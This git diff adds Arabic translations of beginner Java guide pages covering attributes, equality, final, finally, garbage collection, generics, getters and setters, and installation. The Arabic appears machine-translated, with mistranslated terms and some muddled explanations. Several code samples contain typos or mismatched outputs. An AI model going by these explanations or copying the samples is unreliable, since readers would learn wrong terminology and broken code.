+localeTitle: تحديد السمات
+---
+## تحديد السمات
+
+الصف لديه سمات وأساليب. السمات هي أساسا متغيرات داخل الفئة.
+
+**_مثال:_**
+
+ `public class Vehicle { 
+  int maxSpeed; 
+  int wheels; 
+  String color; 
+ 
+  void horn() { 
+    System.out.println("Beep beep!"); 
+  } 
+ } 
+` 
+
+`maxSpeed` `wheels` `color` كلها صفات لفئة `maxSpeed` `horn()` هي الطريقة الوحيدة.
+
+### خلق كائنات
+
+يمكننا إنشاء كائنات متعددة لفئة مركباتنا ، واستخدام بناء الجملة للنقاط للوصول إلى سماتها وأساليبها.
+
+ `class MyClass { 
+  public static void main(String[] args) { 
+    Vehicle v1 = new Vehicle(); 
+    Vehicle v2 = new Vehicle(); 
+    v1.color = "red"; 
+    v2.horn(); 
+  } 
+ } 
+` 
+
+### معدلات الرؤية
+
+في مثال السيارة المذكور أعلاه ، يتم الإعلان عن السمات بدون معدّل رؤية (مثل عامة أو خاصة أو محمية). عند عدم تضمين أي تعديل في سمة delaration ، يتم تعيينه افتراضيًا على شيء يسمى "package private" مما يعني أنه يمكن الوصول إلى السمة مباشرة باستخدام "." تدوين النقاط من قبل أي فئة أخرى داخل نفس الحزمة.
+
+يمكن الوصول إلى المتغيرات "العامة" من أي فئة يمكن الوصول إلى المتغيرات "المحمية" من قبل أي فئة داخل نفس الحزمة ، وكذلك من خلال الفئات الفرعية في أي حزم أخرى لديها علاقة الوالدين والطفل يمكن الوصول إلى المتغيرات "الخاصة" فقط من داخل الفئة التي يتم الإعلان عنها يمكن الوصول إلى أعضاء "الحزمة الخاصة" من قبل الطبقات في نفس الحزمة
+
+"العامة" ، والمتغيرات ، والطرق ، والمصنعين ، والطبقات (واحد فقط) يمكن اعتبارها عامة. يمكن اعتبار المتغيرات "المحميّة" والمتغيرات والطرق والمُنشِئَات على أنها خاصة ولكن ليست الطبقات والواجهات. يمكن الإعلان عن "الخاص" والمتغيرات والطرق والمصنعين على أنها خاصة ولكن ليس الطبقات والواجهات. يمكن أن يكون "الافتراضي" والمتغيرات والطرق والمنشئات والفئات من النوع الافتراضي (المعلن عن طريق عدم كتابة أي شيء).
+
+#### عام> محمي> افتراضي> خاص (على أساس سهولة الوصول)
+
+إنها لفكرة جيدة بشكل عام أن تجعل كل صفات صف خاص ، وأن تتحكم في الوصول إليها من خلال استخدام أساليب "getter" و "setter".
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/equality/index.md b/client/src/guide/arabic/java/equality/index.md
new file mode 100644
index 0000000000..720acb1153
--- /dev/null
+++ b/client/src/guide/arabic/java/equality/index.md
@@ -0,0 +1,61 @@
+---
+title: Checking for Equality
+localeTitle: التحقق من المساواة
+---
+# التحقق من المساواة
+
+في Java ، توجد طريقتان للتحقق مما إذا كان هناك متغيرين هما "نفس": `==` و `.equals()` . هذه الطريقتين لا تعمل نفسها ، ولكن.
+
+## و `==` المشغل
+
+عملية المساواة الأساسية في Java ، `==` كما في `var1 == var2` ، تتحقق مما إذا كان `var1` و `var2` يشيران إلى نفس _مرجع الكائن_ . بمعنى ، إذا كان `var1` هو نفس _مثيل_ الفئة في الذاكرة كـ `var2` ، فسيكون `var1 == var2` صحيحًا.
+
+ومع ذلك ، إذا تم إنشاء `var1` و `var2` منفصلتين للفئة (أي مع الكلمة الأساسية `new` ) ، فسيكون `var1 == var2` خاطئًا. حتى إذا كان كل من الكائنين يحتويان على نفس الخصائص والقيم بالضبط ، فإن المقارنة `==` لن تمر لأنها لا تشير إلى نفس الكائن في الذاكرة.
+
+بالنسبة لأنواع المتغيرات البدائية ، مثل `int` و `double` ، يمكن دائمًا استخدام عامل `==` للتحقق من المساواة ، حيث يتم تخزين قيمها مباشرة مع المتغير (وليس كمرجع إلى فتحة أخرى في الذاكرة).
+
+ `int var1 = 1; 
+ int var2 = 1; 
+ System.out.println(var1 == var2) // true 
+ 
+ MyObject obj1 = new MyObject(); 
+ MyObject obj2 = obj1; 
+ MyObject obj3 = new MyObject(); 
+ 
+ System.out.println(obj1 == obj2) // true 
+ System.out.println(obj1 == obj3) // false 
+ System.out.println(obj2 == obj3) // false 
+` 
+
+## طريقة `.equals()`
+
+تحتوي فئة `Object` المضمنة في Java ، والتي تمتد بها جميع الفئات الأخرى تلقائيًا ، على عدد من الطرق المضمنة المفيدة. إحدى هذه الطرق `equals()` ، والتي تأخذ كائنًا آخر كوسيطة لها وتعيد ما إذا كان ينبغي اعتبار الكائنين "متساويين" وفقًا للمنطق ذي الصلة لهذه الفئة.
+
+تعد فئة "السلسلة" واحدة من الأمثلة الأكثر شيوعًا للفئة التي تتجاوز طريقة "يساوي ()". عند المقارنة بين "سلعة" للمساواة ، تحتاج إلى استخدام طريقة "يساوي ()" ، لأن "==" لن يعمل كما هو متوقع.
+
+ `String s1 = "Bob"; 
+ String s2 = "ob"; 
+ s2 = "B" + s2; //s2 now is also "Bob" 
+ System.out.println(s1 == s2); //false 
+ System.out.println(s1.equals(s2)); //true 
+` 
+
+عند إنشاء فئة جديدة في Java ، ستحتاج غالبًا إلى تجاوز طريقة `equals()` لتوفير طريقة أكثر فائدة لمقارنة كائنين من نفس الفئة. كيف يتم تنفيذ هذه الطريقة هو ما يصل تماما إلى حكم المطور.
+
+على سبيل المثال، قد تقرر أن اثنين من `Person` ق ينبغي النظر "على قدم المساواة" إذا هم `name` و `dateOfBirth` هي نفسها. سيتم تنفيذ هذا المنطق في طريقة `equals()` الخاصة بفئة `Person` :
+
+ `public class Person { 
+    public String name; 
+    public Date dateOfBirth; 
+ 
+    public boolean equals(Person person) { 
+        return this.name.equals(person.name) && this.dateOfBirth.equals(person.dateOfBirth); 
+    } 
+ } 
+` 
+
+معظم الفصول المضمنة في Java ، بالإضافة إلى الفئات التي توفرها المكتبات الشائعة ، ستنفذ طريقة `equals()` بطريقة ذات معنى.
+
+على سبيل المثال، `java.util.Set` تحدد اجهة أن `Set` الصورة `equals()` يرد وطريقة يعود صحيحا إذا "الكائن المحدد أيضا مجموعة، مجموعات لهما نفس الحجم، ولكل عضو من مجموعة محددة في هذه المجموعة ".
+
+ومع ذلك ، إذا لم تتجاوز فئة تطبيق `equals()` الافتراضي ، فسيتم تطبيق التطبيق الافتراضي ، والذي يستخدم ببساطة عامل `==` لمقارنة العنصرين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/final-keyword/index.md b/client/src/guide/arabic/java/final-keyword/index.md
new file mode 100644
index 0000000000..346317e849
--- /dev/null
+++ b/client/src/guide/arabic/java/final-keyword/index.md
@@ -0,0 +1,57 @@
+---
+title: Final
+localeTitle: نهائي
+---
+## نهائي
+
+أنت تستخدم الكلمة `final` لتمييز ثابت متغير ، بحيث يمكن تعيينه مرة واحدة فقط. لذلك يجب عليك تهيئة متغير نهائي بقيمة. إذا لم يتم التهيئة لها (عند الإعلان ، داخل مُنشئ أو داخل كتل ثابتة) ، فسيحدث خطأ وقت تجميع.
+
+**_مثال:_**
+
+ `class MyClass { 
+  public static final double PI = 3.14; 
+  public static void main(String[] args){ 
+    System.out.println(PI); 
+  } 
+ } 
+` 
+
+PI هو الآن ثابت. أي محاولة لتعيينه قيمة ستسبب خطأ.
+
+* * *
+
+إذا جعلت أي طريقة نهائية ، فلا يمكنك تجاوزها.
+
+ `class Bike{ 
+  final void run(){System.out.println("running");} 
+ } 
+ 
+ class Honda extends Bike{ 
+   void run(){System.out.println("running safely with 100kmph");} 
+ 
+   public static void main(String args[]){ 
+   Honda honda= new Honda(); 
+   honda.run(); 
+   } 
+ } 
+` 
+
+سيكون فيل الإخراج - الإخراج: ترجمة خطأ الوقت
+
+* * *
+
+إذا جعلت أي فصل دراسي نهائيًا ، فلا يمكنك تمديده.
+
+ `final class Bike{} 
+ 
+ class Honda1 extends Bike{ 
+  void run(){System.out.println("running safely with 100kmph");} 
+ 
+  public static void main(String args[]){ 
+  Honda1 honda= new Honda(); 
+  honda.run(); 
+  } 
+ } 
+` 
+
+سيكون الناتج- الإخراج: ترجمة خطأ الوقت
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/finally-keyword/index.md b/client/src/guide/arabic/java/finally-keyword/index.md
new file mode 100644
index 0000000000..6293af9237
--- /dev/null
+++ b/client/src/guide/arabic/java/finally-keyword/index.md
@@ -0,0 +1,20 @@
+---
+title: Finally
+localeTitle: أخيرا
+---
+## أخيرا
+
+وينتهي الجزء الأخير دائمًا عند الخروج من المحاولة. هذا يضمن أن يتم تنفيذ كتلة النهاية حتى في حالة حدوث استثناء غير متوقع. ولكن في النهاية مفيد أكثر من مجرد معالجة الاستثناءات - فهو يسمح للمبرمج بتجنب إزالة رمز التنظيف دون قصد عن طريق العودة أو المتابعة أو الفشل. وضع كود التنظيف في نهاية المطاف هو دائما ممارسة جيدة ، حتى عندما لا يتوقع أي استثناءات.
+
+**_مثال:_**
+
+ `try { 
+   // Normal execution path 
+   throw new EmptyStackException(); 
+ } catch (ExampleException ee) { 
+   //  deal with the ExampleException 
+ } finally { 
+   // This optional section is executed upon termination of any of the try or catch blocks above, 
+   //  except when System.exit() is called in "try" or "catch" blocks; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/garbage-collection/index.md b/client/src/guide/arabic/java/garbage-collection/index.md
new file mode 100644
index 0000000000..08dbf5702a
--- /dev/null
+++ b/client/src/guide/arabic/java/garbage-collection/index.md
@@ -0,0 +1,104 @@
+---
+title: Garbage Collection
+localeTitle: جمع القمامة
+---
+# جمع القمامة في جاوة
+
+في لغات مثل C / C ++ ، من واجب مبرمج إنشاء وتدمير الكائنات. ولكن إذا لم يقم المبرمج بواجبه ، فقد لا تتوفر ذاكرة كافية لإنشاء كائن جديد وقد ينتهي البرنامج مما يتسبب في **OutOfMemoryErrors** .
+
+جافا يعفي مبرمج من مهمة إدارة الذاكرة ، ويعيد نفسه الذاكرة التي تحتلها الكائنات التي لم تعد قيد الاستخدام. يتم تنفيذ مجموعة garbage في java بواسطة مؤشر ترابط خفي يسمى **جامع البيانات المهملة** . **JVM (Java Virtual Machine)** يدعوه عندما يكون هناك نقص في الذاكرة (كومة) للكائنات الجديدة.
+
+## متى يصبح الجسم مؤهلاً لجمع القمامة؟
+
+*   يصبح الكائن مؤهلاً لجمع garbage إذا كان لا يمكن الوصول إليه من أي مؤشرات حية أو أي مراجع ثابتة.
+*   يصبح الكائن مؤهلاً لتجميع البيانات المهملة إذا كانت جميع المراجع فارغة.
+
+ `         Integer n = new Integer(); 
+         n = null;                                //the Integer object is no longer accessible 
+` 
+
+*   لا يتم احتساب التبعيات الدورية كمرجع ، لذلك إذا كان لدى الكائن X مرجع كائن Y وكان لدى الكائن Y مرجع كائن X وليس له أي مرجع حي آخر ، فسيكون كل من الكائنين X و Y مؤهلين لجمع البيانات المهملة.
+
+## كيفية جعل كائن مؤهلاً يدويًا لجمع القمامة؟
+
+*   على الرغم من أنها ليست مهمة للمبرمج لتدمير الكائنات ، إلا أنها ممارسة برمجة جيدة لجعل الكائن غير قابل للوصول (وبالتالي مؤهل لـ GC) بعد استخدامه.
+*   توجد عمومًا أربع طرق مختلفة لجعل الكائن مؤهلاً لجمع البيانات المهملة.
+
+1.  إبطال المتغير المرجعي
+2.  إعادة تخصيص متغير المرجع
+3.  يتم إنشاء كائن داخل كتلة والمرجع يخرج من نطاق بمجرد خروج السيطرة على هذا الحظر.
+4.  [جزيرة العزلة](http://www.geeksforgeeks.org/island-of-isolation-in-java/)
+
+## طرق طلب JVM لتشغيل جامع القمامة 1
+
+*   على الرغم من جعل كائن مؤهلاً لجمع القمامة ، إلا أنه يعتمد على التقدير المطلق لـ JVM لتشغيل جامع البيانات المهملة لتدميره.
+*   يمكننا أيضًا طلب JVM لتشغيل جامع القمامة. هناك طريقتان للقيام بذلك :
+
+1.  باستخدام أسلوب _**System.gc ()**_ : فئة النظام تحتوي على أسلوب ثابت gc () لطلب JVM لتشغيل "مجمّع garbage".
+2.  باستخدام أسلوب _**Runtime.getRuntime (). gc ()**_ : تسمح فئة Runtime التطبيق بالتفاعل مع JVM الذي يتم تشغيل التطبيق به. ومن ثم باستخدام طريقة gc () ، يمكننا طلب JVM لتشغيل جامع البيانات المهملة.
+
+ `         // Java program to request 
+    // JVM to run Garbage Collector 
+ public class Test 
+ { 
+    public static void main(String[] args) throws InterruptedException 
+    { 
+        Test test1 = new Test(); 
+        Test test2 = new Test(); 
+ 
+        // Nullifying the reference variable 
+        test1 = null; 
+ 
+        // requesting JVM for running Garbage Collector 
+        System.gc(); 
+ 
+        // Nullifying the reference variable 
+        test2 = null; 
+ 
+        // requesting JVM for running Garbage Collector 
+        Runtime.getRuntime().gc(); 
+ 
+    } 
+ 
+    @Override 
+    // finalize method is a method which is called on object once 
+    // before garbage collector is destroying it and reclaiming its memory 
+    protected void finalize() throws Throwable 
+    { 
+        System.out.println("Garbage collector is called"); 
+        System.out.println("Object garbage collected : " + this); 
+    } 
+ } 
+` 
+
+ `  OUTPUT - 
+    Garbage collector called 
+    Object garbage collected : Test@46d08f12 
+    Garbage collector called 
+    Object garbage collected : Test@481779b8 
+` 
+
+ملحوظة :
+
+1.  ليس هناك ما يضمن أن أي واحدة من الطريقتين أعلاه سوف تعمل بالتأكيد جامع القمامة.
+2.  المكافئ System.gc () المكافئ فعلياً المكالمة: Runtime.getRuntime (). gc ()
+
+## إنهاء الكائن
+
+*   الكائنات لديها موارد تم تجميعها معهم. تقع على عاتقهم مسؤولية تحرير الموارد.
+*   يتم تعريف finalize () في فئة كائن ويتم استدعاء بواسطة جامع البيانات المهملة مرة واحدة فقط قبل إتلاف الكائن. يمكن أن يأخذ الكائن أي إجراء أخير باستخدام هذا الأسلوب jst قبل أن يتم استعادة مساحته بواسطة أداة تجميع البيانات المهملة.
+*   وضع الصيغة النهائية () موجود في فئة كائن مع النموذج الأولي.
+
+ `    protected void finalize() throws Throwable 
+` 
+
+## الملاحظة 1 :
+
+1.  الصيغة النهائية () التي يطلق عليها جامع القمامة لا JVM. على الرغم من أن جامع القمامة هو واحد من وحدة JVM.
+2.  نهاية فئة كائن () الأسلوب يحتوي على تطبيق فارغ ، وبالتالي فمن المستحسن تجاوز وضع الصيغة النهائية () للتخلص من موارد النظام أو إجراء تنظيف آخر.
+3.  لا يتم استدعاء طريقة finalize () أكثر من مرة واحدة لأي كائن محدد.
+4.  إذا تم طرح استثناء غير محظور بطريقة finalize () ، يتم تجاهل الاستثناء وينتهي إنهاء هذا الكائن.
+
+### مصادر
+
+1.  [geeksforgeeks.](http://www.geeksforgeeks.org/garbage-collection-java/) Accessed: October 24،2017.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/generics/index.md b/client/src/guide/arabic/java/generics/index.md
new file mode 100644
index 0000000000..11e4ed5360
--- /dev/null
+++ b/client/src/guide/arabic/java/generics/index.md
@@ -0,0 +1,76 @@
+---
+title: Generics
+localeTitle: الأدوية
+---
+# الأدوية
+
+Java Generics هي طريقة لاستخدام المجموعات والفئات لأنواع بيانات معينة دون الحاجة إلى إرسال البيانات مرة أخرى إلى نوع البيانات الأصلي. هذا يمنع الكثير من الصداع في شكل وقت الترجمة وتشغيل الأخطاء.
+
+ببساطة وضع Generics يتيح لك القول صراحة ، على سبيل المثال كائن ArrayList يحمل أعداد صحيحة بحيث عند استدعاء طريقة get لا تحتاج إلى التحويل بين Object و Integer. فيما يلي مثال لكيفية استخدام ArrayList قبل Generics.
+
+ `import java.util.ArrayList; 
+ 
+ public class Example { 
+  private ArrayList classNames; 
+ 
+  public Example() { 
+    classNames = new ArrayList(); 
+  } 
+ 
+  public void addName(String name) { 
+    classNames.add(name); 
+  } 
+ 
+  public String getNameAtIndex(int index) { 
+    return (String) classNames.get(index); 
+  } 
+ } 
+` 
+
+المشكلة الرئيسية مع ما ورد أعلاه هو إذا كان بطريقة ما كائن ليس من النوع String الذي تم إضافته إلى ArrayList فإن `getNameAtIndex(int index)` سينتج خطأ وقت التشغيل. لحل هذا نستخدم Generics.
+
+تعد صيغة Generics بسيطة جدًا. فيما يلي مثال على instantiating ArrayList.
+
+ `import java.util.ArrayList; 
+ 
+ public class Example { 
+  private ArrayList<String> classNames; 
+ 
+  public Example() { 
+    classNames = new ArrayList<String>(); 
+  } 
+ 
+  public void addName(String name) { 
+    classNames.add(name); 
+  } 
+ 
+  public String getNameAtIndex(int index) { 
+    return classNames.get(index); 
+  } 
+ } 
+` 
+
+سيكون بناء جملة لإنشاء فئة Generic الخاصة بك كما يلي.
+
+ `import java.util.ArrayList; 
+ 
+ public class Example <T> { 
+  private ArrayList<T> classNames; 
+ 
+  public Example() { 
+    classNames = new ArrayList<T>(); 
+  } 
+ 
+  public void addName(T name) { 
+    classNames.add(name); 
+  } 
+ 
+  public T getNameAtIndex(int index) { 
+    return classNames.get(index); 
+  } 
+ } 
+` 
+
+لاحظ أنه داخل الأقواس الزاوية عند تسمية الفصل ، يمكنك التأكد من أن النوع العام هو شيء انت تريد. على سبيل المثال ، إذا أردت التأكد من إمكانية قراءة النوع كنمط سلسلة ، فستذهب `<T extends String>` .
+
+لاحظ أن الحرف `T` هو عنصر نائب ، يمكنك أن تجعل أي شيء تريده ، طالما أنك تستخدم نفس الحرف طوال الفصل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/getters-and-setters/index.md b/client/src/guide/arabic/java/getters-and-setters/index.md
new file mode 100644
index 0000000000..4070e60c13
--- /dev/null
+++ b/client/src/guide/arabic/java/getters-and-setters/index.md
@@ -0,0 +1,67 @@
+---
+title: Getters & Setters
+localeTitle: رسائل ورسائل
+---
+# رسائل ورسائل
+
+يتم استخدام Getters و Setters لحماية بياناتك بشكل فعال ، خاصة عند إنشاء الفصول الدراسية. لكل متغير مثيل ، ترجع طريقة getter قيمته في حين تقوم أداة setter بتعيين أو تحديث قيمتها. يُعرف أيضًا "Getters" و "setters" كـ accessors و mutators ، على التوالي.
+
+من خلال الاتفاقية ، يبدأ getters بالحصول على ، متبوعًا باسم المتغير ، مع الحرف الأول من اسم المتغير بالأحرف الكبيرة. تبدأ الحروف بمجموعة ، متبوعة باسم المتغير ، مع الحرف الأول من اسم المتغير بالأحرف الكبيرة.
+
+**_مثال:_**
+
+ `public class Vehicle { 
+  private String color; 
+ 
+  // Getter 
+  public String getColor() { 
+  return color; 
+  } 
+ 
+  // Setter 
+  public void setColor(String c) { 
+  this.color = c; 
+  } 
+ } 
+` 
+
+ترجع طريقة getter قيمة السمة. تأخذ طريقة الضبط معلمة وتعينها للسمة.
+
+بمجرد أن يتم تعريف الستر والأدوات ، نستخدمها في هدفنا الرئيسي:
+
+ `public stativ void main(String[] args) { 
+  Vehicle v1 = new Vehicle(); 
+  v1.setColor("Red"); 
+  System.out.println(v1.getColor()); 
+ } 
+ 
+ // Outputs "Red" 
+` 
+
+* * *
+
+تسمح الحروف والأصوات بالتحكم في القيم. يمكنك التحقق من صحة القيمة المحددة في أداة التحديد قبل تعيين القيمة فعليًا.
+
+## لماذا الضيق والواضع؟
+
+باستخدام أداة getter و setter ، يمكن للمبرمج التحكم في كيفية الوصول إلى المتغيرات الهامة وتحديثها ، مثل تغيير قيمة متغير داخل نطاق محدد. خذ بعين الاعتبار التعليمة البرمجية التالية لطريقة setter:
+
+ `public void setNumber(int num) { 
+    if (num < 10 || num > 100) { 
+        throw new IllegalArgumentException(); 
+    } 
+    this.number = num; 
+ } 
+` 
+
+وهذا يضمن تعيين قيمة الرقم دائمًا بين 10 و 100. إذا كان المبرمج يسمح بتحديث رقم المتغير مباشرة ، يمكن للمتصل تعيين أي قيمة عشوائية له:
+
+ `obj.number = 3; 
+` 
+
+هذا ينتهك القيد لقيم تتراوح بين 10 إلى 100 لهذا المتغير. نظرًا لأننا لا نتوقع حدوث ذلك ، فإن إخفاء رقم المتغير كخاصية خاصة واستخدام أداة ضبط يمنعه. من ناحية أخرى ، فإن طريقة الوسيلة هي الطريقة الوحيدة للعالم الخارجي لقراءة قيمة المتغير:
+
+ `public int getNumber() { 
+    return this.number; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/index.md b/client/src/guide/arabic/java/index.md
new file mode 100644
index 0000000000..afcd5c2912
--- /dev/null
+++ b/client/src/guide/arabic/java/index.md
@@ -0,0 +1,119 @@
+---
+title: Java
+localeTitle: جافا
+---
+**ما هي الجافا؟**
+
+[Java](https://www.oracle.com/java/index.html) هي لغة برمجة تم تطويرها بواسطة [Sun Microsystems](https://en.wikipedia.org/wiki/Sun_Microsystems) في عام 1995 ، والتي حصلت عليها شركة [Oracle في](http://www.oracle.com/index.html) وقت لاحق. إنها الآن منصة كاملة مع الكثير من واجهات برمجة التطبيقات القياسية ، وواجهات برمجة التطبيقات مفتوحة المصدر ، والأدوات ، ومجتمع المطورين الضخم ، وتُستخدم لإنشاء حلول المؤسسات الأكثر ثقة من قبل الشركات الكبيرة والصغيرة على حد سواء. يتم تطوير تطبيق [Android](https://www.android.com/) بشكل كامل مع Java ونظامه البيئي. لمعرفة المزيد عن جافا ، اقرأ [هذا](https://java.com/en/download/faq/whatis_java.xml) و [هذا](http://tutorials.jenkov.com/java/what-is-java.html) .
+
+## الإصدار
+
+أحدث إصدار هو [Java 11](http://www.oracle.com/technetwork/java/javase/overview) ، الذي صدر في عام 2018 مع [العديد من التحسينات](https://www.oracle.com/technetwork/java/javase/11-relnote-issues-5012449.html) على الإصدار السابق ، Java 10. ولكن بالنسبة لجميع المقاصد والأغراض ، سنستخدم Java 8 في هذا الويكي لجميع البرامج التعليمية.
+
+تنقسم Java أيضًا إلى عدة "إصدارات":
+
+*   [SE](http://www.oracle.com/technetwork/java/javase/overview/index.html) - الإصدار القياسي - لتطبيقات خادم سطح المكتب والمستقل
+*   [EE](http://www.oracle.com/technetwork/java/javaee/overview/index.html) - Enterprise Edition - لتطوير وتنفيذ مكونات Java التي يتم تشغيلها في خادم Java
+*   [ME](http://www.oracle.com/technetwork/java/embedded/javame/overview/index.html) - Micro Edition - لتطوير وتنفيذ تطبيقات Java على الهواتف المحمولة والأجهزة المدمجة
+
+## التثبيت: JDK أو JRE؟
+
+قم بتنزيل أحدث ثنائيات Java من [الموقع الرسمي](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) . هنا قد تواجه سؤالا ، أي واحد لتحميل ، JDK أو JRE؟ JRE لتقف على Java Runtime Environment ، وهي عبارة عن Java Virtual Machine يعتمد على النظام الأساسي لتشغيل Java البرمجية ، و JDK لتقف على Java Development Kit ، والتي تتكون من معظم أدوات التطوير ، والأهم من ذلك `javac` المجمع ، وكذلك JRE. لذا ، بالنسبة إلى مستخدم متوسط ​​، سيكون JRE كافيًا ، ولكن بما أننا سنكون قيد التطوير مع جافا ، فسنقوم بتنزيل JDK.
+
+## تعليمات التثبيت الخاصة بالمنصة
+
+### شبابيك
+
+*   قم بتنزيل ملف [msi](https://en.wikipedia.org/wiki/Windows_Installer) المناسب (x86 / i586 لـ 32 بت ، x64 لـ 64 بت)
+*   قم بتشغيل الملف .msi. في ملف استخراج ذاتي قابل للتنفيذ الذي سيتم تثبيت Java في النظام الخاص بك!
+
+### لينكس
+
+*   قم بتنزيل ملف [tar.gz](http://www.cyberciti.biz/faq/linux-unix-bsd-extract-targz-file/) المناسب لنظامك وقم بتثبيته:
+
+`bash $ tar zxvf jdk-8uversion-linux-x64.tar.gz`
+
+*   [تقوم منصات Linux المستندة إلى RPM](https://en.wikipedia.org/wiki/List_of_Linux_distributions#RPM-based) بتنزيل ملف [.rpm](https://en.wikipedia.org/wiki/RPM_Package_Manager) ذي الصلة وتثبيته:
+
+`bash $ rpm -ivh jdk-8uversion-linux-x64.rpm`
+
+*   لدى المستخدمين خيار تثبيت إصدار مفتوح المصدر من Java أو OpenJDK أو Oracle JDK. في حين أن OpenJDK في التطوير النشط ومتزامنة مع Oracle JDK ، فهي تختلف فقط في الاشياء [الترخيص](http://openjdk.java.net/faq/) . ومع ذلك ، يشكو بعض المطورين من استقرار Open JDK. تعليمات **لأوبونتو** :
+
+فتح تثبيت JDK:  
+`bash sudo apt-get install openjdk-8-jdk`
+
+تثبيت Oracle JDK:  
+`bash sudo add-apt-repository ppa:webupd8team/java sudo apt-get update sudo apt-get install oracle-java8-installer`
+
+### ماك
+
+*   إما تنزيل Mac OSX .dmg قابل للتنفيذ من Oracle Downloads
+*   أو استخدم [Homebrew](http://brew.sh/) [للتثبيت](http://stackoverflow.com/a/28635465/2861269) :
+
+`bash brew tap caskroom/cask brew install brew-cask brew cask install java`
+
+### تحقق من التثبيت
+
+تحقق من تثبيت Java بشكل صحيح في النظام الخاص بك عن طريق فتح "موجه الأوامر" (Windows) / Windows Powershell / Terminal (نظام التشغيل Mac OS و \* Unix) والتحقق من إصدارات Java runtime وبرنامج التحويل البرمجي:
+
+ `$ java -version 
+ java version "1.8.0_66" 
+ Java(TM) SE Runtime Environment (build 1.8.0_66-b17) 
+ Java HotSpot(TM) 64-Bit Server VM (build 25.66-b17, mixed mode) 
+ 
+ $ javac -version 
+ javac 1.8.0_66 
+` 
+
+**تلميح** : إذا ظهرت لك رسالة خطأ مثل "أمر غير موجود" على `java` أو `javac` أو كليهما ، فلا داعي للذعر ، إنه لم يتم ضبط نظام PATH الخاص بك بشكل صحيح. بالنسبة لنظام التشغيل Windows ، راجع [هذه الإجابة حول StackOverflow](http://stackoverflow.com/questions/15796855/java-is-not-recognized-as-an-internal-or-external-command) أو [هذه المقالة](http://javaandme.com/) حول كيفية القيام بذلك. أيضا هناك أدلة [لأوبونتو](http://stackoverflow.com/questions/9612941/how-to-set-java-environment-path-in-ubuntu) [وماك](http://www.mkyong.com/java/how-to-set-java_home-environment-variable-on-mac-os-x/) كذلك. إذا كنت لا تزال لا تستطيع معرفة ذلك ، لا تقلق ، فقط [أسألنا في غرفة جيتر](https://gitter.im/FreeCodeCamp/java) !
+
+## JVM
+
+طيب الآن بما أننا انتهينا من التركيبات ، فلنبدأ أولاً بفهم شغف نظام جافا الحيوي. Java هي لغة [مترجمة ومترجمة](http://stackoverflow.com/questions/1326071/is-java-a-compiled-or-an-interpreted-programming-language) ، أي أن الشفرة التي نكتبها يتم تجميعها إلى bytecode وتفسيرها للتشغيل. نكتب الكود في ملفات .java ، جافا يجمعها في [bytecodes](https://en.wikipedia.org/wiki/Java_bytecode) التي يتم تشغيلها على Java Virtual Machine أو JVM للتنفيذ. تحتوي هذه الرموز التربيعية عادةً على ملحق .class.
+
+Java لغة آمنة تمامًا لأنها لا تسمح بتشغيل برنامجك مباشرة على الجهاز. بدلاً من ذلك ، يتم تشغيل البرنامج على Virtual Machine يسمى JVM. تعرض هذه الآلة الافتراضية العديد من واجهات برمجة التطبيقات لتفاعلات الماكينة منخفضة المستوى التي يمكنك إجراؤها ، ولكن بخلاف ذلك لا يمكنك اللعب بتعليمات الماكينة بشكل واضح. هذا يضيف مكافأة هائلة من الأمن.
+
+أيضا ، بمجرد تجميع كود البايت الخاص بك يمكن تشغيله على أي Java VM. هذا الجهاز الافتراضي يعتمد على الآلة ، أي أنه يحتوي على تطبيقات مختلفة لـ Windows و Linux و Mac. لكن برنامجك مضمون للتشغيل في أي نظام بفضل هذا الجهاز الظاهري. تسمى هذه الفلسفة ["كتابة مرة واحدة ، تشغيل في أي مكان"](https://en.wikipedia.org/wiki/Write_once,_run_anywhere) .
+
+## مرحبا بالعالم!
+
+دعونا نكتب عينة من تطبيق Hello World. افتح أي محرر / IDE للاختيار وقم بإنشاء ملف `HelloWorld.java` .
+
+ `public class HelloWorld { 
+ 
+    public static void main(String[] args) { 
+        // Prints "Hello, World" to the terminal window. 
+        System.out.println("Hello, World"); 
+    } 
+ 
+ } 
+` 
+
+**ملاحظة:** يجب أن تضع في اعتبارك اسم ملف Java يجب أن يكون هو **نفس الاسم للفئة العامة من** أجل تجميعها!
+
+الآن افتح المحطة / موجه الأوامر. تغيير الدليل الحالي في سطر الأوامر / موجه الأوامر إلى الدليل الذي يوجد به ملفك. وجمع الملف:
+
+ `$ javac HelloWorld.java 
+` 
+
+الآن قم بتشغيل الملف باستخدام الأمر `java` !
+
+ `$ java HelloWorld 
+ Hello, World 
+` 
+
+مبروك! تم تشغيل برنامج Java الأول بنجاح. هنا نحن فقط طباعة سلسلة تمريره إلى API `System.out.println` . سنقوم بتغطية جميع المفاهيم في الكود ، لكننا نرحب [بإلقاء نظرة عن كثب](https://docs.oracle.com/javase/tutorial/getStarted/application/) ! إذا كان لديك أي شك أو تحتاج إلى مساعدة إضافية ، فلا تتردد في الاتصال بنا في أي وقت في [Gitter Chatroom](https://gitter.im/FreeCodeCamp/java) !
+
+## كابل بيانات
+
+جافا [موثقة](https://docs.oracle.com/javase/8/docs/) بشكل كبير ، لأنها تدعم كميات هائلة من API. إذا كنت تستخدم أي IDE رئيسي مثل Eclipse أو IntelliJ IDEA ، فستجد وثائق Java مضمنة داخل.
+
+أيضا ، وهنا لائحة من IDE الحرة لتشفير جافا:
+
+*   [نتبيانس](https://netbeans.org/)
+*   [كسوف](https://eclipse.org/)
+*   [IntelliJ فكرة](https://www.jetbrains.com/idea/features/)
+*   [Android Studio](https://developer.android.com/studio/index.html)
+*   [BlueJ](https://www.bluej.org/)
+*   [جيديت](http://www.jedit.org/)
+*   [أوراكل JDeveloper](http://www.oracle.com/technetwork/developer-tools/jdev/overview/index-094652.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/java/inheritance-basics/index.md b/client/src/guide/arabic/java/inheritance-basics/index.md
new file mode 100644
index 0000000000..5e794191a9
--- /dev/null
+++ b/client/src/guide/arabic/java/inheritance-basics/index.md
@@ -0,0 +1,52 @@
+---
+title: Inheritance Basics
+localeTitle: أساسيات الوراثة
+---
+# أساسيات الوراثة
+
